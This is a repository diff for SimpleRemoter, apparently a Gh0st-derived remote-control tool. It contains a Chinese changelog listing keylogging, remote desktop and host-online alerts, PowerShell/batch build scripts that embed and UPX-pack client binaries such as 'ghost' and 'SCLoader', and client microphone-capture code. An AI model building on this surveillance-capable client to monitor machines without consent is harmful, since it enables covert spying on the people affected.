||||
## 更新日誌
|
||||
|
||||
### v1.3.1 (2026.4.15)
|
||||
|
||||
**Web 遠端桌面 & 多主控共享增強**
|
||||
|
||||
**新功能:**
|
||||
- Web 遠端桌面:基於 WebSocket 實現,支援手機/平板透過瀏覽器存取遠端桌面([設定指南](./docs/WebHTTPS.md))
|
||||
- 撤銷共享選單:支援撤銷已共享給其他主控的用戶端
|
||||
- 工具列音訊控制:遠端桌面工具列新增系統音訊開關圖示
|
||||
|
||||
**改進:**
|
||||
- 多顯示器停用自適應:用戶端有多個顯示器時自動停用自適應品質
|
||||
- 狀態列過期日期自動更新:授權續期後狀態列立即重新整理
|
||||
- 減少無效離線日誌:用戶端不在主機清單時減少離線日誌輸出
|
||||
- 多層授權自動更新:第二層及以下主控的授權自動同步更新
|
||||
- 使用提示增強:新增多處操作提示改善使用者體驗
|
||||
- DLL 快取復用:將 DLL 儲存到登錄檔,下次啟動時直接復用
|
||||
|
||||
**Bug 修復:**
|
||||
- 修復共享用戶端時鍵盤記錄可能無法正常運作的問題
|
||||
|
||||
### v1.3.0 (2026.4.8)
|
||||
|
||||
**多層級 FRP 架構 & 品牌定制**
|
||||
|
||||
**新功能:**
|
||||
- 本地 FRPS 伺服器支援(僅 64 位元):內建 FRP 伺服端,簡化部署
|
||||
- 多層級架構自動 FRP 整合:下級主控自動取得上級 FRP 設定
|
||||
- V2 授權下級連線數限制:支援控制下級並發連線數
|
||||
- 許可證檔案匯入/匯出支援(.lic 格式)
|
||||
- 過期授權續期支援:無需重新產生許可證
|
||||
- 增強型硬體 ID (V2):解決 VPS 重複 SN 問題
|
||||
- MaxDepth 控制:限制分級 Master 層級深度
|
||||
- 許可證管理增強:配額支援、動態對話框、刪除功能
|
||||
- IP 定位 API 多提供商回退:提高定位成功率
|
||||
- UI 品牌定制:支援自訂程式名稱、Logo、版權等
|
||||
- 執行時功能限制:試用版功能限制可設定
|
||||
- 輸入歷史下拉框:快速選擇歷史輸入
|
||||
- 產生用戶端新增選項:更多自訂設定
|
||||
- 支援動態修改專案連結:無需重新編譯更換說明/回饋連結
|
||||
|
||||
**Bug 修復:**
|
||||
- 修復 RebuildFilteredIndices 的 Use-after-free 崩潰
|
||||
- 修復 CLock::Lock 中 IOCP 競態條件崩潰 (#215)
|
||||
- 修復崩潰保護服務清理和代理提升問題
|
||||
- 修復訊息日誌無限增長導致的潛在崩潰
|
||||
- 修復 FeatureFlags 引入後 UpperHash 字串長度問題
|
||||
- 修復用戶端 SN 產生以支援 HWIDVersion 設定
|
||||
|
||||
**改進:**
|
||||
- 重構 res/ 目錄結構,新增選單圖示
|
||||
- 過期密碼不再被自動清除
|
||||
- 保持下級主控與第一層主控的連線穩定
|
||||
|
||||
### v1.0.2.9 (2026.3.27)
|
||||
|
||||
**網路安全 & 穩定性增強**
|
||||
|
||||
**新功能:**
|
||||
- 網路設定對話框:IP 白名單/黑名單管理,即時生效
|
||||
- 可設定的連線限流:DLL 請求限流、IP 封禁閾值可調
|
||||
- IP 歷史記錄對話框:檢視授權 IP 登入歷史
|
||||
- 狀態列顯示 MTBF/執行時間和授權到期日期
|
||||
- 代理崩潰保護:5 分鐘內 3 次崩潰自動切換一般模式
|
||||
- 用戶端搜尋功能:Ctrl+F 快速搜尋 IP、位置、電腦名稱
|
||||
- 自動封禁異常 IP:60 秒內超過 15 次連線自動封禁 1 小時
|
||||
- Proxy Protocol v2 支援:FRP 代理後取得真實用戶端 IP
|
||||
- Linux 剪貼簿同步和 V2 檔案傳輸支援
|
||||
- 右鍵選單執行用戶端程式
|
||||
- 多層授權混淆支援
|
||||
|
||||
**Bug 修復:**
|
||||
- 修復 OnUserOfflineMsg 競態條件導致的崩潰
|
||||
- 修復用戶端請求 FRPC DLL 時 FrpcParam 遺失
|
||||
- 最大資料封包從 10MB 增加到 50MB
|
||||
- 支援 mstsc 遠端工作階段讀取使用者登錄檔
|
||||
- 修復遠端桌面最小化時剪貼簿誤觸發
|
||||
- 修復操作程序對話框時主控崩潰
|
||||
- 狀態列主機數量即時更新
|
||||
- Linux select() 呼叫前重設 timeval
|
||||
- 授權碼格式驗證,過濾垃圾資料
|
||||
|
||||
**改進:**
|
||||
- 增強授權檢查,新增 IP 封禁提示
|
||||
- 支援主控程式以使用者權限執行
|
||||
- 大型 DLL 自動使用 TinyRun 回退方案
|
||||
|
||||
### v1.2.8 (2026.3.11)
|
||||
|
||||
**郵件通知 & 遠端音訊**
|
||||
|
||||
- 主機上線郵件通知(SMTP 配置、關鍵字匹配、右鍵快捷添加)
|
||||
- 遠端音訊播放(WASAPI Loopback)+ Opus 壓縮(24:1)
|
||||
- 多 FRPS 伺服器同時連接支援
|
||||
- 自訂游標顯示和追蹤
|
||||
- V2 授權協定(ECDSA 簽名)
|
||||
- 修復非中文 Windows 系統亂碼問題
|
||||
- Linux 用戶端螢幕壓縮演算法優化
|
||||
|
||||
### v1.2.7 (2026.2.28)
|
||||
|
||||
**V2 檔案傳輸協定**
|
||||
|
||||
- 支援 C2C(用戶端到用戶端)直接傳輸
|
||||
- 斷點續傳和大檔案支援(>4GB)
|
||||
- SHA-256 檔案完整性校驗
|
||||
- WebView2 + xterm.js 現代終端
|
||||
- Linux 檔案管理支援
|
||||
- 主機清單批次更新優化,減少 UI 閃爍
|
||||
|
||||
### v1.2.6 (2026.2.16)
|
||||
|
||||
**遠端桌面工具列重寫**
|
||||
|
||||
- 狀態視窗顯示 RTT、幀率、解析度
|
||||
- 全螢幕工具列支援 4 個位置和多顯示器
|
||||
- H.264 頻寬優化
|
||||
- 授權管理 UI 完善
|
||||
|
||||
### v1.2.5 (2026.2.11)
|
||||
|
||||
**自適應品質控制 & Linux 用戶端**
|
||||
|
||||
- 基於 RTT 的智慧品質調整
|
||||
- RGB565 演算法(節省 50% 頻寬)
|
||||
- 捲動偵測優化(節省 50-80% 頻寬)
|
||||
- Linux 用戶端初版發佈
|
||||
|
||||
完整更新歷史請檢視:[history.md](./history.md)
|
||||
|
||||
---
|
||||
|
||||
## 相關專案
|
||||
|
||||
- [HoldingHands](https://github.com/yuanyuanxiang/HoldingHands) - 全英文介面遠端控制
|
||||
- [BGW RAT](https://github.com/yuanyuanxiang/BGW_RAT) - 大灰狼 9.5
|
||||
- [Gh0st](https://github.com/yuanyuanxiang/Gh0st) - 經典 Gh0st 實作
|
||||
|
||||
---
|
||||
|
||||
## 聯絡方式
|
||||
|
||||
| 管道 | 連結 |
|
||||
|------|------|
|
||||
| **QQ** | 962914132 |
|
||||
| **Telegram** | [@doge_grandfather](https://t.me/doge_grandfather) |
|
||||
| **Email** | [yuanyuanxiang163@gmail.com](mailto:yuanyuanxiang163@gmail.com) |
|
||||
| **LinkedIn** | [wishyuanqi](https://www.linkedin.com/in/wishyuanqi) |
|
||||
| **Issues** | [問題回報](https://github.com/yuanyuanxiang/SimpleRemoter/issues) |
|
||||
| **PR** | [貢獻程式碼](https://github.com/yuanyuanxiang/SimpleRemoter/pulls) |
|
||||
|
||||
### 贊助支持
|
||||
|
||||
本專案源於技術學習與興趣愛好,作者將根據業餘時間不定期更新。如果本專案對您有所幫助,歡迎贊助支持:
|
||||
|
||||
[](https://github.com/yuanyuanxiang/yuanyuanxiang/blob/main/images/QR_Codes.jpg)
|
||||
|
||||
---
|
||||
|
||||
<p align="center">
|
||||
<sub>如果您喜歡這個專案,請給它一個 ⭐ Star!</sub>
|
||||
</p>
|
||||
40
build.cmd
Normal file
40
build.cmd
Normal file
@@ -0,0 +1,40 @@
|
||||
@echo off
|
||||
:: SimpleRemoter Quick Build Script
|
||||
:: Usage: build.cmd [release|debug] [x64|x86|all] [server|clean|publish]
|
||||
|
||||
setlocal enabledelayedexpansion
|
||||
|
||||
set CONFIG=Release
|
||||
set PLATFORM=x64
|
||||
set EXTRA_ARGS=
|
||||
|
||||
:parse_args
|
||||
if "%~1"=="" goto :run
|
||||
if /i "%~1"=="release" (set CONFIG=Release& shift& goto :parse_args)
|
||||
if /i "%~1"=="debug" (set CONFIG=Debug& shift& goto :parse_args)
|
||||
if /i "%~1"=="x64" (set PLATFORM=x64& shift& goto :parse_args)
|
||||
if /i "%~1"=="x86" (set PLATFORM=x86& shift& goto :parse_args)
|
||||
if /i "%~1"=="all" (set PLATFORM=all& shift& goto :parse_args)
|
||||
if /i "%~1"=="server" (set EXTRA_ARGS=!EXTRA_ARGS! -ServerOnly& shift& goto :parse_args)
|
||||
if /i "%~1"=="clean" (set EXTRA_ARGS=!EXTRA_ARGS! -Clean& shift& goto :parse_args)
|
||||
if /i "%~1"=="publish" (set EXTRA_ARGS=!EXTRA_ARGS! -Publish& shift& goto :parse_args)
|
||||
echo Unknown argument: %~1
|
||||
shift
|
||||
goto :parse_args
|
||||
|
||||
:run
|
||||
echo.
|
||||
echo Building SimpleRemoter: %CONFIG% ^| %PLATFORM%
|
||||
echo.
|
||||
|
||||
powershell -ExecutionPolicy Bypass -File "%~dp0build.ps1" -Config %CONFIG% -Platform %PLATFORM% %EXTRA_ARGS%
|
||||
|
||||
if %errorlevel% neq 0 (
|
||||
echo.
|
||||
echo Build FAILED!
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo.
|
||||
pause
|
||||
247
build.ps1
Normal file
247
build.ps1
Normal file
@@ -0,0 +1,247 @@
|
||||
# SimpleRemoter Build Script
|
||||
# Usage: .\build.ps1 [-Config Release|Debug] [-Platform x64|x86|all] [-ServerOnly] [-Clean] [-Publish]
|
||||
#
|
||||
# Requirements:
|
||||
# - Visual Studio 2019 or 2022
|
||||
# - v142 toolset (MSVC v142 - VS 2019 C++ build tools)
|
||||
# - MFC libraries (C++ MFC for v142 build tools)
|
||||
|
||||
param(
|
||||
[ValidateSet("Release", "Debug")]
|
||||
[string]$Config = "Release",
|
||||
|
||||
[ValidateSet("x64", "x86", "all")]
|
||||
[string]$Platform = "x64",
|
||||
|
||||
[switch]$ServerOnly, # Only build main server (Yama), skip client projects
|
||||
[switch]$Clean, # Clean before build
|
||||
[switch]$Publish # Publish mode: rebuild all deps + x64 Release + UPX compress
|
||||
)
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
|
||||
# Find MSBuild (VS2019 or VS2022, including Insiders/Preview)
|
||||
# Order: Prefer installations with v142 toolset (VS2019) over VS2022 BuildTools
|
||||
$msBuildPaths = @(
|
||||
# VS2019 Insiders/Preview (non-standard path) - has v142 + MFC
|
||||
"${env:ProgramFiles}\Microsoft Visual Studio\18\*\MSBuild\Current\Bin\MSBuild.exe",
|
||||
"${env:ProgramFiles(x86)}\Microsoft Visual Studio\18\*\MSBuild\Current\Bin\MSBuild.exe",
|
||||
# VS2019 standard
|
||||
"${env:ProgramFiles}\Microsoft Visual Studio\2019\*\MSBuild\Current\Bin\MSBuild.exe",
|
||||
"${env:ProgramFiles(x86)}\Microsoft Visual Studio\2019\*\MSBuild\Current\Bin\MSBuild.exe",
|
||||
# VS2022 (may need v142 toolset installed separately)
|
||||
"${env:ProgramFiles}\Microsoft Visual Studio\2022\*\MSBuild\Current\Bin\MSBuild.exe",
|
||||
"${env:ProgramFiles(x86)}\Microsoft Visual Studio\2022\*\MSBuild\Current\Bin\MSBuild.exe"
|
||||
)
|
||||
|
||||
$msBuild = $null
|
||||
foreach ($pattern in $msBuildPaths) {
|
||||
$found = Get-ChildItem $pattern -ErrorAction SilentlyContinue | Select-Object -First 1
|
||||
if ($found) {
|
||||
$msBuild = $found.FullName
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if (-not $msBuild) {
|
||||
Write-Host "ERROR: MSBuild not found." -ForegroundColor Red
|
||||
Write-Host ""
|
||||
Write-Host "Please install Visual Studio 2019 or 2022 with:" -ForegroundColor Yellow
|
||||
Write-Host " - Desktop development with C++" -ForegroundColor White
|
||||
Write-Host " - MSVC v142 - VS 2019 C++ x64/x86 build tools" -ForegroundColor White
|
||||
Write-Host " - C++ MFC for v142 build tools" -ForegroundColor White
|
||||
exit 1
|
||||
}
|
||||
|
||||
# Detect VS version
|
||||
$vsYear = "2019"
|
||||
if ($msBuild -match "\\2022\\") { $vsYear = "2022" }
|
||||
elseif ($msBuild -match "\\18\\") { $vsYear = "2019 Insiders" }
|
||||
|
||||
Write-Host "Using MSBuild: $msBuild" -ForegroundColor Cyan
|
||||
|
||||
$rootDir = $PSScriptRoot
|
||||
$slnFile = Join-Path $rootDir "2019Remote.sln"
|
||||
$upxPath = Join-Path $rootDir "server\2015Remote\res\3rd\upx.exe"
|
||||
|
||||
# Publish mode overrides
|
||||
if ($Publish) {
|
||||
$Config = "Release"
|
||||
$Platform = "x64"
|
||||
$ServerOnly = $false
|
||||
$Clean = $true
|
||||
}
|
||||
|
||||
# Build function
|
||||
function Build-Project {
|
||||
param(
|
||||
[string]$Project,
|
||||
[string]$Configuration,
|
||||
[string]$Platform,
|
||||
[bool]$ForceClean = $false
|
||||
)
|
||||
|
||||
# Solution uses x86/x64, projects use Win32/x64 - MSBuild needs solution platform names
|
||||
$platArg = $Platform
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "Building: $Project | $Configuration | $Platform" -ForegroundColor Yellow
|
||||
|
||||
$buildArgs = @(
|
||||
$slnFile,
|
||||
"/t:$Project",
|
||||
"/p:Configuration=$Configuration",
|
||||
"/p:Platform=$platArg",
|
||||
"/m", # Parallel build
|
||||
"/v:minimal" # Minimal verbosity
|
||||
)
|
||||
|
||||
if ($Clean -or $ForceClean) {
|
||||
# Use :Rebuild target for single project rebuild
|
||||
$buildArgs[1] = "/t:${Project}:Rebuild"
|
||||
}
|
||||
|
||||
& $msBuild $buildArgs
|
||||
|
||||
if ($LASTEXITCODE -ne 0) {
|
||||
Write-Host "ERROR: Build failed for $Project" -ForegroundColor Red
|
||||
Write-Host ""
|
||||
Write-Host "If you see 'v142 build tools cannot be found':" -ForegroundColor Yellow
|
||||
Write-Host " Install 'MSVC v142 - VS 2019 C++ build tools' via VS Installer" -ForegroundColor White
|
||||
Write-Host ""
|
||||
Write-Host "If you see 'MFC libraries are required':" -ForegroundColor Yellow
|
||||
Write-Host " Install 'C++ MFC for v142 build tools' via VS Installer" -ForegroundColor White
|
||||
exit 1
|
||||
}
|
||||
|
||||
Write-Host "OK: $Project" -ForegroundColor Green
|
||||
}
|
||||
|
||||
# Determine platforms to build
|
||||
$platforms = if ($Platform -eq "all") { @("x86", "x64") } else { @($Platform) }
|
||||
|
||||
# Client projects (dependencies) - must build both x86 and x64 for embedding
|
||||
$clientProjects = @(
|
||||
"ServerDll", # ClientDll_vs2015.vcxproj -> ServerDll.dll
|
||||
"ghost", # ghost_vs2015.vcxproj -> ghost.exe
|
||||
"TestRun", # TestRun_vs2015.vcxproj -> TestRun.exe
|
||||
"TinyRun", # TinyRun.vcxproj -> TinyRun.dll
|
||||
"SCLoader" # SCLoader.vcxproj -> SCLoader.exe
|
||||
)
|
||||
|
||||
# Server project
|
||||
$serverProject = "Yama" # 2015Remote_vs2015.vcxproj -> Yama.exe
|
||||
|
||||
$startTime = Get-Date
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "========================================" -ForegroundColor Cyan
|
||||
if ($Publish) {
|
||||
Write-Host " SimpleRemoter PUBLISH Build" -ForegroundColor Cyan
|
||||
} else {
|
||||
Write-Host " SimpleRemoter Build" -ForegroundColor Cyan
|
||||
}
|
||||
Write-Host " Config: $Config" -ForegroundColor Cyan
|
||||
Write-Host " Platform: $Platform" -ForegroundColor Cyan
|
||||
Write-Host " VS: $vsYear" -ForegroundColor Cyan
|
||||
Write-Host " Clean: $Clean" -ForegroundColor Cyan
|
||||
if ($Publish) {
|
||||
Write-Host " UPX: Yes" -ForegroundColor Cyan
|
||||
}
|
||||
Write-Host "========================================" -ForegroundColor Cyan
|
||||
|
||||
if (-not $ServerOnly) {
|
||||
Write-Host ""
|
||||
Write-Host "Step 1: Building client projects (Release x86 + x64)..." -ForegroundColor Magenta
|
||||
Write-Host " (Always Release - embedded in server resources)" -ForegroundColor DarkGray
|
||||
|
||||
# Client projects are always built as Release (embedded in server resources)
|
||||
# In Publish mode, force clean rebuild
|
||||
foreach ($proj in $clientProjects) {
|
||||
Build-Project -Project $proj -Configuration "Release" -Platform "x86" -ForceClean $Publish
|
||||
Build-Project -Project $proj -Configuration "Release" -Platform "x64" -ForceClean $Publish
|
||||
}
|
||||
}
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "Step 2: Building server (Yama)..." -ForegroundColor Magenta
|
||||
|
||||
foreach ($plat in $platforms) {
|
||||
Build-Project -Project $serverProject -Configuration $Config -Platform $plat -ForceClean $Publish
|
||||
}
|
||||
|
||||
# UPX compression in Publish mode
|
||||
$finalOutput = $null
|
||||
if ($Publish) {
|
||||
Write-Host ""
|
||||
Write-Host "Step 3: UPX compression..." -ForegroundColor Magenta
|
||||
|
||||
$binPath = Join-Path (Join-Path $rootDir "Bin") "Yama_x64.exe"
|
||||
|
||||
if (-not (Test-Path $upxPath)) {
|
||||
Write-Host "ERROR: UPX not found at $upxPath" -ForegroundColor Red
|
||||
exit 1
|
||||
}
|
||||
|
||||
if (-not (Test-Path $binPath)) {
|
||||
Write-Host "ERROR: Output file not found at $binPath" -ForegroundColor Red
|
||||
exit 1
|
||||
}
|
||||
|
||||
$sizeBefore = (Get-Item $binPath).Length / 1MB
|
||||
Write-Host " Before: $($sizeBefore.ToString('F2')) MB" -ForegroundColor DarkGray
|
||||
|
||||
& $upxPath --best $binPath
|
||||
|
||||
if ($LASTEXITCODE -ne 0) {
|
||||
Write-Host "WARNING: UPX compression failed, but build succeeded" -ForegroundColor Yellow
|
||||
} else {
|
||||
$sizeAfter = (Get-Item $binPath).Length / 1MB
|
||||
$ratio = (1 - $sizeAfter / $sizeBefore) * 100
|
||||
Write-Host " After: $($sizeAfter.ToString('F2')) MB (-$($ratio.ToString('F1'))%)" -ForegroundColor Green
|
||||
}
|
||||
|
||||
$finalOutput = $binPath
|
||||
}
|
||||
|
||||
$elapsed = (Get-Date) - $startTime
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "========================================" -ForegroundColor Green
|
||||
if ($Publish) {
|
||||
Write-Host " Publish Completed!" -ForegroundColor Green
|
||||
} else {
|
||||
Write-Host " Build Completed!" -ForegroundColor Green
|
||||
}
|
||||
Write-Host " Time: $($elapsed.TotalSeconds.ToString('F1')) seconds" -ForegroundColor Green
|
||||
Write-Host "========================================" -ForegroundColor Green
|
||||
|
||||
# Show output files
|
||||
Write-Host ""
|
||||
Write-Host "Output files:" -ForegroundColor Cyan
|
||||
|
||||
if ($finalOutput) {
|
||||
$size = (Get-Item $finalOutput).Length / 1MB
|
||||
Write-Host " $finalOutput ($($size.ToString('F2')) MB)" -ForegroundColor White
|
||||
} else {
|
||||
foreach ($plat in $platforms) {
|
||||
# Check both possible output locations (project has custom OutputFile)
|
||||
$suffix = if ($plat -eq "x86") { "_x86" } else { "_x64" }
|
||||
if ($Config -eq "Debug") { $suffix += "d" }
|
||||
$binPath = Join-Path (Join-Path $rootDir "Bin") "Yama$suffix.exe"
|
||||
|
||||
$outDir = if ($plat -eq "x86") { "Release" } else { "x64\Release" }
|
||||
if ($Config -eq "Debug") {
|
||||
$outDir = if ($plat -eq "x86") { "Debug" } else { "x64\Debug" }
|
||||
}
|
||||
$stdPath = Join-Path (Join-Path $rootDir $outDir) "Yama.exe"
|
||||
|
||||
# Prefer Bin output, fallback to standard path
|
||||
$outPath = if (Test-Path $binPath) { $binPath } elseif (Test-Path $stdPath) { $stdPath } else { $null }
|
||||
|
||||
if ($outPath) {
|
||||
$size = (Get-Item $outPath).Length / 1MB
|
||||
Write-Host " $outPath ($($size.ToString('F2')) MB)" -ForegroundColor White
|
||||
}
|
||||
}
|
||||
}
|
||||
231
client/Audio.cpp
Normal file
231
client/Audio.cpp
Normal file
@@ -0,0 +1,231 @@
|
||||
// Audio.cpp: implementation of the CAudio class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "Audio.h"
|
||||
#include <iostream>
|
||||
|
||||
#ifdef _WINDOWS
|
||||
#define __CreateThread CreateThread
|
||||
#else
|
||||
#include "SafeThread.h"
|
||||
#endif
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CAudio::CAudio()
|
||||
{
|
||||
m_bExit = FALSE;
|
||||
m_hThreadCallBack = false;
|
||||
m_Thread = NULL;
|
||||
m_bIsWaveInUsed = FALSE;
|
||||
m_bIsWaveOutUsed = FALSE;
|
||||
m_nWaveInIndex = 0;
|
||||
m_nWaveOutIndex = 0;
|
||||
m_hEventWaveIn = CreateEvent(NULL, FALSE, FALSE, NULL);
|
||||
m_hStartRecord = CreateEvent(NULL, FALSE, FALSE, NULL);
|
||||
memset(&m_GSMWavefmt, 0, sizeof(GSM610WAVEFORMAT));
|
||||
|
||||
m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610;
|
||||
m_GSMWavefmt.wfx.nChannels = 1;
|
||||
m_GSMWavefmt.wfx.nSamplesPerSec = 8000;
|
||||
m_GSMWavefmt.wfx.nAvgBytesPerSec = 1625;
|
||||
m_GSMWavefmt.wfx.nBlockAlign = 65;
|
||||
m_GSMWavefmt.wfx.wBitsPerSample = 0;
|
||||
m_GSMWavefmt.wfx.cbSize = 2;
|
||||
m_GSMWavefmt.wSamplesPerBlock = 320;
|
||||
|
||||
m_ulBufferLength = 1000;
|
||||
|
||||
for (int i = 0; i < 2; ++i) {
|
||||
m_InAudioData[i] = new BYTE[m_ulBufferLength];
|
||||
m_InAudioHeader[i] = new WAVEHDR;
|
||||
|
||||
m_OutAudioData[i] = new BYTE[m_ulBufferLength];
|
||||
m_OutAudioHeader[i] = new WAVEHDR;
|
||||
}
|
||||
}
|
||||
|
||||
CAudio::~CAudio()
|
||||
{
|
||||
m_bExit = TRUE;
|
||||
|
||||
if (m_hEventWaveIn) {
|
||||
SetEvent(m_hEventWaveIn);
|
||||
SAFE_CLOSE_HANDLE(m_hEventWaveIn);
|
||||
m_hEventWaveIn = NULL;
|
||||
}
|
||||
if (m_hStartRecord) {
|
||||
SetEvent(m_hStartRecord);
|
||||
SAFE_CLOSE_HANDLE(m_hStartRecord);
|
||||
m_hStartRecord = NULL;
|
||||
}
|
||||
|
||||
if (m_bIsWaveInUsed) {
|
||||
waveInStop(m_hWaveIn);
|
||||
waveInReset(m_hWaveIn);
|
||||
for (int i = 0; i < 2; ++i)
|
||||
waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
|
||||
|
||||
waveInClose(m_hWaveIn);
|
||||
WAIT (m_hThreadCallBack, 30);
|
||||
if (m_hThreadCallBack)
|
||||
Mprintf("没有成功关闭waveInCallBack.\n");
|
||||
TerminateThread(m_Thread, -999);
|
||||
m_Thread = NULL;
|
||||
}
|
||||
|
||||
for (int i = 0; i < 2; ++i) {
|
||||
delete [] m_InAudioData[i];
|
||||
m_InAudioData[i] = NULL;
|
||||
delete [] m_InAudioHeader[i];
|
||||
m_InAudioHeader[i] = NULL;
|
||||
}
|
||||
|
||||
if (m_bIsWaveOutUsed) {
|
||||
waveOutReset(m_hWaveOut);
|
||||
for (int i = 0; i < 2; ++i) {
|
||||
if (m_InAudioHeader[i])
|
||||
waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
|
||||
}
|
||||
waveOutClose(m_hWaveOut);
|
||||
}
|
||||
|
||||
for (int i = 0; i < 2; ++i) {
|
||||
delete [] m_OutAudioData[i];
|
||||
m_OutAudioData[i] = NULL;
|
||||
delete [] m_OutAudioHeader[i];
|
||||
m_OutAudioHeader[i] = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL CAudio::InitializeWaveIn()
|
||||
{
|
||||
MMRESULT mmResult;
|
||||
DWORD dwThreadID = 0;
|
||||
|
||||
m_hThreadCallBack = m_Thread = __CreateThread(NULL, 0,
|
||||
waveInCallBack, (LPVOID)this,
|
||||
CREATE_SUSPENDED, &dwThreadID);
|
||||
|
||||
//打开录音设备COM 1 指定声音规格 2 支持通过线程回调 换缓冲
|
||||
mmResult = waveInOpen(&m_hWaveIn, (WORD)WAVE_MAPPER,
|
||||
&(m_GSMWavefmt.wfx), (LONG)dwThreadID, (LONG)0, CALLBACK_THREAD);
|
||||
|
||||
//m_hWaveIn 录音机句柄
|
||||
if (mmResult != MMSYSERR_NOERROR) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
//录音设备 需要的两个缓冲
|
||||
for (int i=0; i<2; ++i) {
|
||||
m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData 指针数组
|
||||
m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength;
|
||||
m_InAudioHeader[i]->dwFlags = 0;
|
||||
m_InAudioHeader[i]->dwLoops = 0;
|
||||
waveInPrepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
|
||||
}
|
||||
|
||||
waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR));
|
||||
if (m_Thread!=NULL) {
|
||||
ResumeThread(m_Thread);
|
||||
}
|
||||
waveInStart(m_hWaveIn); //录音
|
||||
|
||||
m_bIsWaveInUsed = TRUE;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize)
|
||||
{
|
||||
//录音机
|
||||
if(m_bIsWaveInUsed==FALSE && InitializeWaveIn()==FALSE) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
SetEvent(m_hStartRecord);
|
||||
WaitForSingleObject(m_hEventWaveIn, INFINITE);
|
||||
*dwBufferSize = m_ulBufferLength;
|
||||
return m_InAudioData[m_nWaveInIndex]; //返出真正数据
|
||||
}
|
||||
|
||||
DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
|
||||
{
|
||||
CAudio *This = (CAudio *)lParam;
|
||||
|
||||
MSG Msg;
|
||||
|
||||
while (GetMessage(&Msg, NULL, 0, 0)) {
|
||||
if (This->m_bExit)
|
||||
break;
|
||||
if (Msg.message == MM_WIM_DATA) {
|
||||
SetEvent(This->m_hEventWaveIn);
|
||||
WaitForSingleObject(This->m_hStartRecord, INFINITE);
|
||||
if (This->m_bExit)
|
||||
break;
|
||||
|
||||
Sleep(1);
|
||||
This->m_nWaveInIndex = 1 - This->m_nWaveInIndex;
|
||||
|
||||
//更新缓冲
|
||||
MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn,
|
||||
This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR));
|
||||
if (mmResult != MMSYSERR_NOERROR)
|
||||
break;
|
||||
}
|
||||
|
||||
if (Msg.message == MM_WIM_CLOSE) {
|
||||
break;
|
||||
}
|
||||
|
||||
TranslateMessage(&Msg);
|
||||
DispatchMessage(&Msg);
|
||||
}
|
||||
|
||||
Mprintf("waveInCallBack end\n");
|
||||
This->m_hThreadCallBack = false;
|
||||
|
||||
return 0XDEADAAAA;
|
||||
}
|
||||
|
||||
BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize)
|
||||
{
|
||||
if (!m_bIsWaveOutUsed && !InitializeWaveOut()) //1 音频格式 2 播音设备
|
||||
return NULL;
|
||||
|
||||
for (int i = 0; i < dwBufferSize; i += m_ulBufferLength) {
|
||||
memcpy(m_OutAudioData[m_nWaveOutIndex], szBuffer, m_ulBufferLength);
|
||||
waveOutWrite(m_hWaveOut, m_OutAudioHeader[m_nWaveOutIndex], sizeof(WAVEHDR));
|
||||
m_nWaveOutIndex = 1 - m_nWaveOutIndex;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
BOOL CAudio::InitializeWaveOut()
|
||||
{
|
||||
if (!waveOutGetNumDevs())
|
||||
return FALSE;
|
||||
|
||||
for (int i = 0; i < 2; ++i)
|
||||
memset(m_OutAudioData[i], 0, m_ulBufferLength); //声音数据
|
||||
|
||||
MMRESULT mmResult;
|
||||
mmResult = waveOutOpen(&m_hWaveOut, (WORD)WAVE_MAPPER, &(m_GSMWavefmt.wfx), (LONG)0, (LONG)0, CALLBACK_NULL);
|
||||
if (mmResult != MMSYSERR_NOERROR)
|
||||
return false;
|
||||
|
||||
for (int i = 0; i < 2; ++i) {
|
||||
m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i];
|
||||
m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength;
|
||||
m_OutAudioHeader[i]->dwFlags = 0;
|
||||
m_OutAudioHeader[i]->dwLoops = 0;
|
||||
waveOutPrepareHeader(m_hWaveOut, m_OutAudioHeader[i], sizeof(WAVEHDR));
|
||||
}
|
||||
|
||||
m_bIsWaveOutUsed = TRUE;
|
||||
return TRUE;
|
||||
}
|
||||
45
client/Audio.h
Normal file
45
client/Audio.h
Normal file
@@ -0,0 +1,45 @@
|
||||
// Audio.h: interface for the CAudio class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_)
|
||||
#define AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
#include <MMSYSTEM.H>
|
||||
#include <MMReg.h>
|
||||
|
||||
|
||||
class CAudio
|
||||
{
|
||||
public:
|
||||
CAudio();
|
||||
virtual ~CAudio();
|
||||
GSM610WAVEFORMAT m_GSMWavefmt;
|
||||
